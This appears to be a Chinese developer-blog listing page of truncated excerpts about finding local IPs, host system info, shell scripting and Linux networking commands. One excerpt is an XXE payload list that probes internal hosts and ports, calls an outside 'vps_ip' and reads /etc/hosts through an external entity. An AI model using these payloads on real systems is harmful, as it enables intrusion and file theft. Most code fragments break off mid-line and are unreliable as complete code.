1:场景描述 在做Netty相关项目的时候,我们往往需要绑定本机的IP和端口号,如果我们把它写在配置文件中,那么我们每次换电脑运行或者部署到其他环境时候都需要修改配置文件。这样就会比较麻烦,如果我们把它做成智能的获取本机的IP,这样我们的代码的可移植性就提高了。下面就介绍一种在windows和linux下面可以智能获取我们本机的局域网IP和外网IP的方法,不妥之处还请大家多多指教。
2:解决方法以及代码首先贴上获取IP的工具类/...
用域名获取IP地址或者用IP获取域名#include<stdio.h>
#include<sys/socket.h>
#include<netdb.h>
int main(int argc,char **aggv)
{struct hostent *host;char hostname[]="www.163.com";char hostname2[]="www.baidu.com";struct in_addr in;struct sockaddr_in addr_in;int h_errno;char addr[]="202.108.249.216";if((host=gethostbyname(hostname))!=NULL){memcpy(&addr_in.sin_addr.s_addr,host->h_addr,4);in.s_addr=addr_in...
使用 python 代码收集主机的系统信息,主要:主机名称、IP、系统版本、服务器厂商、型号、序列号、CPU信息、内存等系统信息。#!/usr/bin/env python
#encoding: utf-8‘‘‘
收集主机的信息:
主机名称、IP、系统版本、服务器厂商、型号、序列号、CPU信息、内存信息
‘‘‘from subprocess import Popen, PIPE
import os,sys‘‘‘ 获取 ifconfig 命令的输出 ‘‘‘def getIfconfig():p = Popen([‘ifconfig‘], stdout = PIPE)dat...
第一步:激活网卡 系统装好后默认的网卡是eth0,用下面的命令将这块网卡激活。 # ifconfig eth0 up 第二步:设置网卡进入系统时启动 想要每次开机就可以自动获取IP地址上网,就要设置网络服务在系统启动时也启动。Linux有一点与windows不同的是很多服务默认是停止的,而且你在某次使用该服务时启动这个服务,但是没设置它为默认启动,则下次进入系统这个服务依然是停止的。下面是设置网络服务在系统启动时也启动的方法...
今天初步学习了一下linux下的shell编程,简单记录一下测试用例1.编辑shell脚本文件如下:#!/bin/bashecho "hello bash linux"echo "第0个参数:$0"echo "第一个参数:$1"echo "当前子shell进程:$$"#pidarr=`ps x | awk ‘{print $1}‘`pidarr=$(ps x | awk ‘{print $1}‘)echo $pidaddfor id in $pidarrdo echo "$id"done2.保存为文件test.bash3.使文件具有执行属性,使用以下命令chmod +x test.bash 示例脚本说明:(1)第一行的#!/bin...
获取系统时间函数#include <time.h>
time_t timer = time(NULL);
struct tm *localtm = localtime(&timer);
struct tm {int tm_sec; /* 秒 – 取值区间为[0,59] */int tm_min; /* 分 - 取值区间为[0,59] */int tm_hour; /* 时 - 取值区间为[0,23] */int tm_mday; /* 一个月中的日期 - 取值区间为[1,31] */int tm_mon; /* 月份(从一月开始,0代表一月) - 取值区间为[0,11] */int tm_year; /* 年份,其值等于实际年份减去190...
#!/bin/sh
# filename: get_net.shdefault_route=$(ip route show)
default_interface=$(echo $default_route | sed -e ‘s/^.*dev \([^ ]*\).*$/\1/‘ | head -n 1)
address=$(ip addr show label $default_interface scope global | awk‘$1 == "inet" { print $2,$4}‘)#ip address
ip=$(echo $address | awk‘{print $1 }‘)
ip=${ip%%/*}#broadcast
broadcast=$(echo $address | awk ‘{print $2 }‘)#mask address
mask=$(ro...
#include <stdio.h>
#include <sys/utsname.h> //unameint main(int argc, char **argv[])
{struct utsname u;if (uname(&u) != -1) {printf("获取当前内核的名称和信息如下\n""sysname:%s\n""nodename:%s\n""release:%s\n""version:%s\n""machine:%s\n", u.sysname, u.nodename, u.release, u.version, u.machine);}return 0;
}输出如下:获取当前内核的名称和信息如下
sysname:Linux
nodename:fes
release:2.6.32-220.el6.x86_64...
import socketimport fcntlimport structdef get_ip_address(ifname): s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) return socket.inet_ntoa(fcntl.ioctl( s.fileno(), 0x8915, # SIOCGIFADDR struct.pack(‘256s‘, ifname[:15]) )[20:24])print get_ip_address(‘eth0‘)原文:http://961911.blog.51cto.com/951911/1547378
public InetAddress getFirstNonLoopbackAddress(boolean preferIpv4, boolean preferIPv6) throws SocketException {Enumeration en = NetworkInterface.getNetworkInterfaces();while (en.hasMoreElements()) {NetworkInterface i = (NetworkInterface) en.nextElement();for (Enumeration en2 = i.getInetAddresses(); en2.hasMoreElements();) {InetAddress addr = (InetAddress) en2.nextElement();if (!addr.isLoopbackAddr...
ss 可以用来获取socket统计信息,它可以显示和netstat类似的内容。 例如: (1)显示TCP连接 #ss -t -a (2)列出所有打开的网络连接端口 #ss -l (3)查看进程使用的socket #ss -pl本文出自 “赵东伟的博客” 博客,请务必保留此出处http://zhaodongwei.blog.51cto.com/4233742/1879685原文:http://zhaodongwei.blog.51cto.com/4233742/1879685
引用外部DTD文件访问内网主机/端口。
<!DOCTYPE a SYSTEM "http://127.0.0.1:2333"> (看响应时间)引用外部DTD文件访问wai网。<!DOCTYPE a SYSTEM "http://vps_ip" >引用内部实体。<!DOCTYPE a [<!ENTITY xxe "findneo">]><a>&xxe;</a>外部实体读本地文件。<!DOCTYPE a [<!ENTITY xxe SYSTEM "file:///etc/hosts">]><a>&xxe;</a>外部实体访问内wang主机端口。<!DOCTYPE a SYSTEM "http://192.168.1.2:80">(看响应时间)外部实体访...
源码如下:#include <sys/socket.h>#include <sys/ioctl.h>#include <linux/if.h>#include <string.h>#include <stdio.h>char *net_detect(char* net_name)
{int skfd = 0;struct ifreq ifr;skfd = socket(AF_INET, SOCK_DGRAM, 0);if(skfd < 0) {printf("%s:%d Open socket error!\n", __FILE__, __LINE__);return NULL;}strcpy(ifr.ifr_name, net_name);if(ioctl(skfd, SIOCGIFFLAGS, &ifr) <0 ) {printf("%s:%d IOCTL error!\n"...
pthread_self()获取当选线程的ID。这个ID与pthread_create的第一个参数返回的相同。但是与ps命令看到的不同,因此只能用于程序内部,用于对线程进行操作。 1 #include <stdio.h>2 #include <stdlib.h>3 #include <unistd.h>4 #include <pthread.h>5 6void* fun(void* p)7{8 printf("child thread id=%lu\n",pthread_self());//获取当前线程ID9//sleep(100);10return NULL;
11}
1213int main(int argc,char* argv[])
14{
15 ...
linux命令介绍命令的语法格式COMMAND OPTIONS ARGUMENTS 命令 选项 参数命令(COMMAND):命令应用程序脚本程序命令的类型:内建命令:由shell程序自带的命令外部命令:本身是一个独立的可执行程序文件,命令名即为程序文件名查找命令的方式重要通过shell的内置的环境变量PATH中指定的路径进行查找#echo $PATH/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin查看命令的类型:type:type COMMANDty...